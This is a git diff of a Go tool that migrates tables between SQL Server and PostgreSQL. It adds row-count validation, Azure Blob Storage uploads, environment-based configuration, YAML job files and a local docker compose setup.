+			query += fmt.Sprintf(" AND [%s] %s @min", job.SourceTable.PrimaryKey, op)
+			args = append(args, sql.Named("min", *job.Range.Min))
+		}
+		if job.Range.Max != nil {
+			op := "<"
+			if job.Range.IsMaxInclusive {
+				op = "<="
+			}
+			query += fmt.Sprintf(" AND [%s] %s @max", job.SourceTable.PrimaryKey, op)
+			args = append(args, sql.Named("max", *job.Range.Max))
+		}
+	} else {
+		query = fmt.Sprintf("SELECT COUNT_BIG(*) FROM [%s].[%s]", schema, table)
+	}
+
+	var count int64
+	if err := db.QueryRow(ctx, query, args...).Scan(&count); err != nil {
+		return 0, err
+	}
+	return count, nil
+}
+
+func countTargetRows(ctx context.Context, db dbwrapper.DbWrapper, job config.Job) (int64, error) {
+	schema := job.TargetTable.Schema
+	table := job.TargetTable.Table
+	query := fmt.Sprintf(`SELECT COUNT(*) FROM "%s"."%s"`, schema, table)
+
+	var count int64
+	if err := db.QueryRow(ctx, query).Scan(&count); err != nil {
+		return 0, err
+	}
+	return count, nil
+}
+
+func validateJob(ctx context.Context, sourceDb, targetDb dbwrapper.DbWrapper, job config.Job) ValidationResult {
+	result := ValidationResult{
+		JobName:     job.Name,
+		SourceTable: fmt.Sprintf("[%s].[%s]", job.SourceTable.Schema, job.SourceTable.Table),
+		TargetTable: fmt.Sprintf(`"%s"."%s"`, job.TargetTable.Schema, job.TargetTable.Table),
+	}
+
+	var (
+		sourceErr, targetErr error
+		wg                   sync.WaitGroup
+	)
+
+	wg.Add(2)
+	go func() {
+		defer wg.Done()
+		result.SourceCount, sourceErr = countSourceRows(ctx, sourceDb, job)
+	}()
+	go func() {
+		defer wg.Done()
+		result.TargetCount, targetErr = countTargetRows(ctx, targetDb, job)
+	}()
+	wg.Wait()
+
+	if sourceErr != nil {
+		result.Error = fmt.Errorf("source count failed: %w", sourceErr)
+		return result
+	}
+	if targetErr != nil {
+		result.Error = fmt.Errorf("target count failed: %w", targetErr)
+		return result
+	}
+
+	result.Match = result.SourceCount == result.TargetCount
+	return result
+}
+
+func validateJobs(
+	ctx context.Context,
+	sourceDb dbwrapper.DbWrapper,
+	targetDb dbwrapper.DbWrapper,
+	jobs []config.Job,
+	maxParallelWorkers int,
+) []ValidationResult {
+	if len(jobs) == 0 {
+		return nil
+	}
+	if maxParallelWorkers <= 0 {
+		maxParallelWorkers = 1
+	}
+	if maxParallelWorkers > len(jobs) {
+		maxParallelWorkers = len(jobs)
+	}
+
+	chJobs := make(chan config.Job, len(jobs))
+	var mu sync.Mutex
+	var results []ValidationResult
+	var wg sync.WaitGroup
+
+	for range maxParallelWorkers {
+		wg.Go(func() {
+			for job := range chJobs {
+				res := validateJob(ctx, sourceDb, targetDb, job)
+				mu.Lock()
+				results = append(results, res)
+				mu.Unlock()
+			}
+		})
+	}
+
+	for _, job := range jobs {
+		chJobs <- job
+	}
+	close(chJobs)
+	wg.Wait()
+
+	return results
+}
+
+func printValidationReport(results []ValidationResult) {
+	log.Info("=== VALIDATION REPORT ===")
+
+	var totalMatch, totalMismatch, totalErrors int
+
+	for _, r := range results {
+		if r.Error != nil {
+			log.Errorf("[%s] ERROR: %v", r.JobName, r.Error)
+			totalErrors++
+			continue
+		}
+
+		if !r.Match {
+			totalMismatch++
+			diff := r.TargetCount - r.SourceCount
+			var diffStr string
+			if diff > 0 {
+				diffStr = fmt.Sprintf(" (target has %d extra rows)", diff)
+			} else {
+				diffStr = fmt.Sprintf(" (target is missing %d rows)", -diff)
+			}
+			log.Warnf("[%s] MISMATCH | Source %s: %d | Target %s: %d%s",
+				r.JobName,
+				r.SourceTable, r.SourceCount,
+				r.TargetTable, r.TargetCount,
+				diffStr,
+			)
+		} else {
+			totalMatch++
+			log.Infof("[%s] OK | Source %s: %d | Target %s: %d",
+				r.JobName,
+				r.SourceTable, r.SourceCount,
+				r.TargetTable, r.TargetCount,
+			)
+		}
+	}
+
+	log.Infof("=== Validation complete: %d OK, %d mismatches, %d errors ===", totalMatch, totalMismatch, totalErrors)
+}

config-reverse-original.yaml

@@ -0,0 +1,35 @@
+max_parallel_workers: 4
+source_db_type: postgres
+target_db_type: sqlserver
+
+defaults:
+  batches_per_partition: 4
+  max_extractors: 2
+  extractor_batch_size: 5000
+  extractor_queue_size: 8
+  max_transformers: 2
+  transformer_batch_size: 12500
+  transformer_queue_size: 8
+  max_loaders: 4
+  loader_batch_size: 25000
+  partition_calculation_strategy: EXACT
+  truncate_target: true
+  truncate_method: TRUNCATE
+  retry:
+    attempts: 3
+    base_delay_ms: 500
+    max_delay_ms: 10000
+    max_jitter_ms: 500
+    max_failed_partitions: 5
+    max_failed_batches_load: 5
+
+jobs:
+  - name: cartografia_manzana_reverse
+    enabled: true
+    source:
+      schema: Cartografia
+      table: MANZANA
+      primary_key: GDB_ARCHIVE_OID
+    target:
+      schema: Cartografia
+      table: MANZANA

config-reverse.yaml

@@ -0,0 +1,35 @@
+max_parallel_workers: 4
+source_db_type: postgres
+target_db_type: sqlserver
+
+defaults:
+  batches_per_partition: 4
+  max_extractors: 8
+  extractor_batch_size: 25000
+  extractor_queue_size: 32
+  max_transformers: 8
+  transformer_batch_size: 50000
+  transformer_queue_size: 32
+  max_loaders: 8
+  loader_batch_size: 50000
+  partition_calculation_strategy: EXACT
+  truncate_target: true
+  truncate_method: TRUNCATE
+  retry:
+    attempts: 3
+    base_delay_ms: 500
+    max_delay_ms: 10000
+    max_jitter_ms: 500
+    max_failed_partitions: 5
+    max_failed_batches_load: 5
+
+jobs:
+  - name: cartografia_manzana_reverse
+    enabled: true
+    source:
+      schema: Cartografia
+      table: MANZANA
+      primary_key: GDB_ARCHIVE_OID
+    target:
+      schema: Cartografia
+      table: MANZANA

config.yaml

@@ -3,20 +3,25 @@ source_db_type: sqlserver
 target_db_type: postgres
 
 defaults:
+  batches_per_partition: 4
   max_extractors: 2
+  extractor_batch_size: 5000
+  extractor_queue_size: 8
+  max_transformers: 2
+  transformer_batch_size: 12500
+  transformer_queue_size: 8
   max_loaders: 4
-  queue_size: 8
+  loader_batch_size: 25000
-  batch_size: 25000
+  partition_calculation_strategy: EXACT # EXACT | ESTIMATION
-  batches_per_partition: 8
   truncate_target: true
   truncate_method: TRUNCATE # TRUNCATE | DELETE
-  max_partition_errrors: 5
-  max_chunk_errors: 5
   retry:
     attempts: 3
     base_delay_ms: 500
     max_delay_ms: 10000
     max_jitter_ms: 500
+    max_failed_partitions: 5
+    max_failed_batches_load: 5
 
 jobs:
   - name: cartografia_manzana
@@ -28,26 +33,45 @@ jobs:
     target:
       schema: Cartografia
       table: MANZANA
-    pre_sql: 
-      - 'SELECT 1'
-      # - 'TRUNCATE TABLE "Cartografia"."MANZANA"'
-    range:
-      min: 1000000
-      max: 2000000
-      is_min_inclusive: false
-      is_max_inclusive: true
 
-  - name: red_puerto
+  # - name: red_puerto
-    enabled: true
+  #   enabled: true
-    source:
+  #   source:
-      schema: Red
+  #     schema: Red
-      table: PUERTO
+  #     table: PUERTO
-      primary_key: ID_PUERTO
+  #     primary_key: ID_PUERTO
-    target:
+  #     from_json:
-      schema: Red
+  #       - column: $node_id*
-      table: PUERTO
+  #         field: id
-    pre_sql: 
+  #   target:
-      - 'SELECT 1'
+  #     schema: Red
-      # - 'TRUNCATE TABLE "Red"."PUERTO"'
+  #     table: PUERTO
-    post_sql: 
+
-      - "SELECT 1"
+  # - name: infraestructura_site_holder__attach
+  #   source:
+  #     schema: Infraestructura
+  #     table: SITE_HOLDER__ATTACH
+  #     primary_key: GDB_ARCHIVE_OID
+  #   target:
+  #     schema: Infraestructura
+  #     table: SITE_HOLDER__ATTACH
+  #   to_storage:
+  #     columns:
+  #       - source: DATA
+  #         target: FILE_URL
+  #         mode: REFERENCE_ONLY
+  #         prefix: Infraestructura/SITE_HOLDER__ATTACH
+  #   batches_per_partition: 20
+  #   max_extractors: 32
+  #   extractor_batch_size: 1
+  #   extractor_queue_size: 100
+  #   max_transformers: 48
+  #   transformer_batch_size: 500
+  #   transformer_queue_size: 8
+  #   max_loaders: 4
+  #   loader_batch_size: 500
+  #   retry:
+  #     attempts: 5
+  #     base_delay_ms: 1000
+  #     max_delay_ms: 15000
+  #     max_jitter_ms: 500

docker/.gitignore

@@ -0,0 +1,2 @@
+data/**/*
+compose.override.yml

docker/compose.yml

@@ -0,0 +1,50 @@
+name: db-migration
+services:
+  azurite:
+    image: mcr.microsoft.com/azure-storage/azurite:3.35.0
+    container_name: azurite
+    restart: unless-stopped
+    ports:
+      - 8880:10000
+      - 8881:10001
+      - 8882:10002
+    volumes:
+      - ./data/azurite:/data
+    command: 'azurite --blobHost 0.0.0.0 --queueHost 0.0.0.0 --tableHost 0.0.0.0 --location /data --skipApiVersionCheck'
+    profiles:
+      - storage
+      - target
+
+  mssql:
+    image: mcr.microsoft.com/mssql/server:2022-latest
+    restart: unless-stopped
+    environment:
+      ACCEPT_EULA: Y
+      MSSQL_SA_PASSWORD: SecurePassword123
+      MSSQL_PID: Developer
+      MSSQL_MEMORY_LIMIT_MB: 8192
+    ports:
+      - 8883:1433
+    volumes:
+      - ./data/mssql:/var/opt/mssql
+    profiles:
+      - mssql
+      - source
+      - db
+
+  postgres:
+    image: postgis/postgis:16-3.4
+    restart: unless-stopped
+    environment:
+      POSTGRES_DB: test_db
+      POSTGRES_USER: postgres
+      POSTGRES_PASSWORD: SecurePassword123
+    ports:
+      - 8884:5432
+    volumes:
+      - ./data/postgres:/var/lib/postgresql/data
+    profiles:
+      - postgres
+      - target
+      - db
+    shm_size: '1gb'

go.mod

@@ -1,12 +1,13 @@
 module git.ksdemosapps.com/kylesoda/go-migrate
 
-go 1.25.7
+go 1.26
 
 require (
+	github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.4
 	github.com/gaspardle/go-mssqlclrgeo v0.0.0-20160129143314-97ceabf987a4
 	github.com/google/uuid v1.6.0
+	github.com/ilyakaznacheev/cleanenv v1.5.0
 	github.com/jackc/pgx/v5 v5.9.1
-	github.com/joho/godotenv v1.5.1
 	github.com/microsoft/go-mssqldb v1.9.8
 	github.com/sirupsen/logrus v1.9.4
 	github.com/twpayne/go-geom v1.6.1
@@ -15,15 +16,20 @@ require (
 )
 
 require (
+	github.com/Azure/azure-sdk-for-go/sdk/azcore v1.21.0 // indirect
+	github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 // indirect
+	github.com/BurntSushi/toml v1.6.0 // indirect
 	github.com/golang-sql/civil v0.0.0-20220223132316-b832511892a9 // indirect
 	github.com/golang-sql/sqlexp v0.1.0 // indirect
 	github.com/jackc/pgpassfile v1.0.0 // indirect
 	github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 // indirect
 	github.com/jackc/puddle/v2 v2.2.2 // indirect
-	github.com/kr/text v0.2.0 // indirect
+	github.com/joho/godotenv v1.5.1 // indirect
 	github.com/rogpeppe/go-internal v1.14.1 // indirect
 	github.com/shopspring/decimal v1.4.0 // indirect
 	golang.org/x/crypto v0.48.0 // indirect
+	golang.org/x/net v0.51.0 // indirect
 	golang.org/x/sys v0.41.0 // indirect
 	golang.org/x/text v0.34.0 // indirect
+	olympos.io/encoding/edn v0.0.0-20201019073823-d3554ca0b0a3 // indirect
 )

go.sum

@@ -4,19 +4,25 @@ github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1 h1:Hk5QBxZQC1jb2Fwj6mpz
 github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.13.1/go.mod h1:IYus9qsFobWIc2YVwe/WPjcnyCkPKtnHAqUYeebc8z0=
 github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2 h1:9iefClla7iYpfYWdzPCRDozdmndjTm8DXdpCzPajMgA=
 github.com/Azure/azure-sdk-for-go/sdk/internal v1.11.2/go.mod h1:XtLgD3ZD34DAaVIIAyG3objl5DynM3CQ/vMcbBNJZGI=
+github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.8.1 h1:/Zt+cDPnpC3OVDm/JKLOs7M2DKmLRIIp3XIx9pHHiig=
+github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/storage/armstorage v1.8.1/go.mod h1:Ng3urmn6dYe8gnbCMoHHVl5APYz2txho3koEkV2o2HA=
 github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.4.0 h1:E4MgwLBGeVB5f2MdcIVD3ELVAWpr+WD6MUe1i+tM/PA=
 github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/azkeys v1.4.0/go.mod h1:Y2b/1clN4zsAoUd/pgNAQHjLDnTis/6ROkUfyob6psM=
 github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0 h1:nCYfgcSyHZXJI8J0IWE5MsCGlb2xp9fJiXyxWgmOFg4=
 github.com/Azure/azure-sdk-for-go/sdk/security/keyvault/internal v1.2.0/go.mod h1:ucUjca2JtSZboY8IoUqyQyuuXvwbMBVwFOm0vdQPNhA=
+github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.4 h1:jWQK1GI+LeGGUKBADtcH2rRqPxYB1Ljwms5gFA2LqrM=
+github.com/Azure/azure-sdk-for-go/sdk/storage/azblob v1.6.4/go.mod h1:8mwH4klAm9DUgR2EEHyEEAQlRDvLPyg5fQry3y+cDew=
 github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0 h1:XRzhVemXdgvJqCH0sFfrBUTnUJSBrBf7++ypk+twtRs=
 github.com/AzureAD/microsoft-authentication-library-for-go v1.6.0/go.mod h1:HKpQxkWaGLJ+D/5H8QRpyQXA1eKjxkFlOMwck5+33Jk=
+github.com/BurntSushi/toml v1.2.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
+github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk=
+github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
 github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=
 github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU=
 github.com/alecthomas/assert/v2 v2.10.0 h1:jjRCHsj6hBJhkmhznrCzoNpbA3zqy0fYiUcYZP/GkPY=
 github.com/alecthomas/assert/v2 v2.10.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
 github.com/alecthomas/repr v0.4.0 h1:GhI2A8MACjfegCPVq9f1FLvIBS+DrQ2KQBFZP1iFzXc=
 github.com/alecthomas/repr v0.4.0/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
-github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
 github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -32,6 +38,8 @@ github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
 github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
 github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
 github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
+github.com/ilyakaznacheev/cleanenv v1.5.0 h1:0VNZXggJE2OYdXE87bfSSwGxeiGt9moSR2lOrsHHvr4=
+github.com/ilyakaznacheev/cleanenv v1.5.0/go.mod h1:a5aDzaJrLCQZsazHol1w8InnDcOX0OColm64SlIi6gk=
 github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
 github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
 github.com/jackc/pgservicefile v0.0.0-20240606120523-5a60cdf6a761 h1:iCEnooe7UlwOQYpKFhBabPMi4aNAfoODPEFNiAnClxo=
@@ -42,8 +50,8 @@ github.com/jackc/puddle/v2 v2.2.2 h1:PR8nw+E/1w0GLuRFSmiioY6UooMp6KJv0/61nB7icHo
 github.com/jackc/puddle/v2 v2.2.2/go.mod h1:vriiEXHvEE654aYKXXjOvZM39qJ0q+azkZFrfEOc3H4=
 github.com/joho/godotenv v1.5.1 h1:7eLL/+HRGLY0ldzfGMeQkb7vMd0as4CfYvUVzLqw0N0=
 github.com/joho/godotenv v1.5.1/go.mod h1:f4LDr5Voq0i2e/R5DDNOoa2zzDfwtkZa6DnEwAbqwq4=
-github.com/kr/pretty v0.3.0 h1:WgNl7dwNpEZ6jJ9k1snq4pZsg7DOEN8hP9Xw0Tsjwk0=
+github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
-github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk=
+github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
 github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
 github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
 github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
@@ -83,3 +91,5 @@ gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EV
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+olympos.io/encoding/edn v0.0.0-20201019073823-d3554ca0b0a3 h1:slmdOY3vp8a7KQbHkL+FLbvbkgMqmXojpFUO/jENuqQ=
+olympos.io/encoding/edn v0.0.0-20201019073823-d3554ca0b0a3/go.mod h1:oVgVk4OWVDi43qWBEyGhXgYxt7+ED4iYNpTngSLX2Iw=

internal/app/azure/main.go

@@ -0,0 +1,98 @@
+package azure
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"net/url"
+	"path"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob"
+	"github.com/Azure/azure-sdk-for-go/sdk/storage/azblob/blob"
+)
+
+var (
+	ErrInvalidConnectionString = errors.New("invalid connection string")
+	ErrContainerNotFound       = errors.New("container not found")
+	ErrBlobNotFound            = errors.New("blob not found")
+	ErrInvalidInput            = errors.New("invalid input parameters")
+)
+
+type Client struct {
+	client             *azblob.Client
+	azureStorageConfig config.AzureStorageConfig
+}
+
+func NewClient(azureStorageConfig config.AzureStorageConfig) (*Client, error) {
+	protocol := "https"
+	if !azureStorageConfig.UseHTTPS {
+		protocol = "http"
+	}
+
+	blobEndpoint, _ := url.JoinPath(azureStorageConfig.ServiceURL, azureStorageConfig.AccountName)
+	connStr := fmt.Sprintf("DefaultEndpointsProtocol=%s;AccountName=%s;AccountKey=%s;BlobEndpoint=%s;",
+		protocol, azureStorageConfig.AccountName, azureStorageConfig.AccountKey, blobEndpoint)
+
+	client, err := azblob.NewClientFromConnectionString(connStr, nil)
+	if err != nil {
+		return nil, fmt.Errorf("creating azure storage client: %w", err)
+	}
+
+	return &Client{
+		client:             client,
+		azureStorageConfig: azureStorageConfig,
+	}, nil
+}
+
+func (c *Client) CreateContainer(ctx context.Context, containerName string) error {
+	if containerName == "" {
+		return ErrInvalidInput
+	}
+
+	_, err := c.client.CreateContainer(ctx, containerName, nil)
+	if err != nil {
+		return fmt.Errorf("creating container %s: %w", containerName, err)
+	}
+	return nil
+}
+
+func (c *Client) UploadBuffer(ctx context.Context, containerName, blobPath string, buffer []byte) error {
+	if containerName == "" || blobPath == "" || buffer == nil {
+		return ErrInvalidInput
+	}
+
+	_, err := c.client.UploadBuffer(ctx, containerName, blobPath, buffer, nil)
+	if err != nil {
+		return fmt.Errorf("uploading blob %s: %w", blobPath, err)
+	}
+	return nil
+}
+
+func (c *Client) Ping(ctx context.Context) error {
+	pager := c.client.NewListBlobsFlatPager(c.azureStorageConfig.Container, nil)
+	_, err := pager.NextPage(ctx)
+	if err != nil {
+		return fmt.Errorf("storage access check failed: %w", err)
+	}
+	return nil
+}
+
+func (c *Client) UploadAndGetURL(ctx context.Context, blobPath string, buffer []byte) (string, error) {
+	if blobPath == "" || buffer == nil {
+		return "", ErrInvalidInput
+	}
+
+	fullPath := path.Join(c.azureStorageConfig.Prefix, blobPath)
+
+	contentType := http.DetectContentType(buffer)
+	opts := &azblob.UploadBufferOptions{
+		HTTPHeaders: &blob.HTTPHeaders{BlobContentType: &contentType},
+	}
+	if _, err := c.client.UploadBuffer(ctx, c.azureStorageConfig.Container, fullPath, buffer, opts); err != nil {
+		return "", fmt.Errorf("uploading blob %s: %w", fullPath, err)
+	}
+
+	return fullPath, nil
+}

internal/app/config/main.go

@@ -1,41 +1,130 @@
 package config
 
 import (
-	"os"
+	"fmt"
+	"maps"
+	"net/url"
 
-	"github.com/joho/godotenv"
+	"github.com/ilyakaznacheev/cleanenv"
 	log "github.com/sirupsen/logrus"
 )
 
-type appConfig struct {
+type AzureStorageConfig struct {
-	SourceDbUrl string
+	AccountName string `env:"AZ_ACCOUNT_NAME"`
-	TargetDbUrl string
+	Container   string `env:"AZ_CONTAINER"`
+	AccountKey  string `env:"AZ_ACCOUNT_KEY"`
+	UseHTTPS    bool   `env:"AZ_USE_HTTPS" env-default:"true"`
+	ServiceURL  string `env:"AZ_SERVICE_URL"`
+	Prefix      string `env:"AZ_PREFIX"`
+	Enabled     bool   `env:"AZ_STORAGE_ENABLED"`
 }
 
-func loadEnv() {
+type appConfig struct {
-	err := godotenv.Load()
+	SourceDbUrl     string `env:"SOURCE_DB_URL"`
+	SourceDbHost    string `env:"SOURCE_DB_HOST"`
+	SourceDbPort    string `env:"SOURCE_DB_PORT"`
+	SourceDbName    string `env:"SOURCE_DB_NAME"`
+	SourceDbUser    string `env:"SOURCE_DB_USER"`
+	SourceDbPwd     string `env:"SOURCE_DB_PWD"`
+	SourceDbOptions string `env:"SOURCE_DB_OPTIONS"`
+	TargetDbUrl     string `env:"TARGET_DB_URL"`
+	TargetDbHost    string `env:"TARGET_DB_HOST"`
+	TargetDbPort    string `env:"TARGET_DB_PORT"`
+	TargetDbName    string `env:"TARGET_DB_NAME"`
+	TargetDbUser    string `env:"TARGET_DB_USER"`
+	TargetDbPwd     string `env:"TARGET_DB_PWD"`
+	TargetDbOptions string `env:"TARGET_DB_OPTIONS"`
+	LogLevel        string `env:"LOG_LEVEL" env-default:"INFO"`
+	AzureStorage    AzureStorageConfig
+}
+
+func (c *appConfig) ResolveSourceDbUrl(dbType string) (string, error) {
+	if c.SourceDbUrl != "" {
+		return c.SourceDbUrl, nil
+	}
+	u, err := buildDbUrl(dbType, c.SourceDbHost, c.SourceDbPort, c.SourceDbName, c.SourceDbUser, c.SourceDbPwd, c.SourceDbOptions)
 	if err != nil {
-		log.Warn("Warning: could not load .env file")
+		return "", fmt.Errorf("source DB: %w", err)
+	}
+	return u, nil
+}
+
+func (c *appConfig) ResolveTargetDbUrl(dbType string) (string, error) {
+	if c.TargetDbUrl != "" {
+		return c.TargetDbUrl, nil
+	}
+	u, err := buildDbUrl(dbType, c.TargetDbHost, c.TargetDbPort, c.TargetDbName, c.TargetDbUser, c.TargetDbPwd, c.TargetDbOptions)
+	if err != nil {
+		return "", fmt.Errorf("target DB: %w", err)
+	}
+	return u, nil
+}
+
+func buildDbUrl(dbType, host, port, name, user, pwd, options string) (string, error) {
+	if host == "" {
+		return "", fmt.Errorf("DB_HOST is required when DB_URL is not set")
+	}
+	if name == "" {
+		return "", fmt.Errorf("DB_NAME is required when DB_URL is not set")
+	}
+	if user == "" {
+		return "", fmt.Errorf("DB_USER is required when DB_URL is not set")
+	}
+
+	switch dbType {
+	case "sqlserver":
+		if port == "" {
+			port = "1433"
+		}
+		q := url.Values{}
+		if options != "" {
+			extra, err := url.ParseQuery(options)
+			if err != nil {
+				return "", fmt.Errorf("invalid DB_OPTIONS: %w", err)
+			}
+			maps.Copy(q, extra)
+		}
+		q.Set("database", name)
+		u := &url.URL{
+			Scheme:   "sqlserver",
+			Host:     host + ":" + port,
+			User:     url.UserPassword(user, pwd),
+			RawQuery: q.Encode(),
+		}
+		return u.String(), nil
+
+	case "postgres":
+		if port == "" {
+			port = "5432"
+		}
+		u := &url.URL{
+			Scheme:   "postgres",
+			Host:     host + ":" + port,
+			User:     url.UserPassword(user, pwd),
+			Path:     "/" + name,
+			RawQuery: options,
+		}
+		return u.String(), nil
+
+	default:
+		return "", fmt.Errorf("unknown db type %q — cannot build URL from individual components", dbType)
 	}
 }
 
 func getAppConfig() appConfig {
-	loadEnv()
+	var cfg appConfig
 
-	sourceDbUrl := os.Getenv("SOURCE_DB_URL")
+	err := cleanenv.ReadConfig(".env", &cfg)
-	if sourceDbUrl == "" {
+	if err != nil {
-		log.Fatal("SOURCE_DB_URL environment variable not set")
+		log.Warn("Could not load .env file")
 	}
 
-	targetDbUrl := os.Getenv("TARGET_DB_URL")
+	err = cleanenv.ReadEnv(&cfg)
-	if targetDbUrl == "" {
+	if err != nil {
-		log.Fatal("TARGET_DB_URL environment variable not set")
+		log.Fatalf("Error al cargar variables: %v", err)
 	}
 
-	return appConfig{
+	return cfg
-		SourceDbUrl: sourceDbUrl,
-		TargetDbUrl: targetDbUrl,
-	}
 }
 
 var App appConfig = getAppConfig()

internal/app/config/migration.go

@@ -8,24 +8,46 @@ import (
 )
 
 type RetryConfig struct {
-	Attempts    int `yaml:"attempts"`
+	Attempts             int `yaml:"attempts"`
-	BaseDelayMs int `yaml:"base_delay_ms"`
+	BaseDelayMs          int `yaml:"base_delay_ms"`
-	MaxDelayMs  int `yaml:"max_delay_ms"`
+	MaxDelayMs           int `yaml:"max_delay_ms"`
-	MaxJitterMs int `yaml:"max_jitter_ms"`
+	MaxJitterMs          int `yaml:"max_jitter_ms"`
+	MaxFailedPartitions  int `yaml:"max_failed_partitions"`
+	MaxFailedBatchesLoad int `yaml:"max_failed_batches_load"`
+}
+
+type ToStorageColumnConfig struct {
+	Source string `yaml:"source"`
+	Target string `yaml:"target"`
+	Mode   string `yaml:"mode"`
+	Prefix string `yaml:"prefix"`
+}
+
+type ToStorageConfig struct {
+	Columns []ToStorageColumnConfig `yaml:"columns"`
 }
 
 type JobConfig struct {
-	MaxExtractors       int         `yaml:"max_extractors"`
+	BatchesPerPartition          int         `yaml:"batches_per_partition"`
-	MaxLoaders          int         `yaml:"max_loaders"`
+	MaxExtractors                int         `yaml:"max_extractors"`
-	QueueSize           int         `yaml:"queue_size"`
+	ExtractorBatchSize           int         `yaml:"extractor_batch_size"`
-	BatchSize           int         `yaml:"batch_size"`
+	ExtractorQueueSize           int         `yaml:"extractor_queue_size"`
-	BatchesPerPartition int         `yaml:"batches_per_partition"`
+	MaxTransformers              int         `yaml:"max_transformers"`
-	TruncateTarget      bool        `yaml:"truncate_target"`
+	TransformerBatchSize         int         `yaml:"transformer_batch_size"`
-	TruncateMethod      string      `yaml:"truncate_method"`
+	TransformerQueueSize         int         `yaml:"transformer_queue_size"`
-	MaxPartitionErrrors int         `yaml:"max_partition_errrors"`
+	MaxLoaders                   int         `yaml:"max_loaders"`
-	MaxChunkErrors      int         `yaml:"max_chunk_errors"`
+	LoaderBatchSize              int         `yaml:"loader_batch_size"`
-	Retry               RetryConfig `yaml:"retry"`
+	PartitionCalculationStrategy string      `yaml:"partition_calculation_strategy"`
-	RowsPerPartition    int64
+	TruncateTarget               bool        `yaml:"truncate_target"`
+	TruncateMethod               string      `yaml:"truncate_method"`
+	Retry                        RetryConfig `yaml:"retry"`
+	RowsPerPartition             int64
+	ToStorage                    ToStorageConfig `yaml:"to_storage"`
+}
+
+type FromJsonItem struct {
+	Column string `yaml:"column"`
+	Field  string `yaml:"field"`
 }
 
 type TableInfo struct {
@@ -33,13 +55,23 @@ type TableInfo struct {
 	Table  string `yaml:"table"`
 }
 
-type TargetTableInfo struct {
+type SourceTableInfo struct {
-	TableInfo `yaml:",inline"`
+	TableInfo       `yaml:",inline"`
+	PrimaryKey      string         `yaml:"primary_key"`
+	FromJsonColumns []FromJsonItem `yaml:"from_json"`
 }
 
-type SourceTableInfo struct {
+type TargetTableInfo struct {
-	TableInfo  `yaml:",inline"`
+	TableInfo `yaml:",inline"`
-	PrimaryKey string `yaml:"primary_key"`
+	PreSQL    []string `yaml:"pre_sql"`
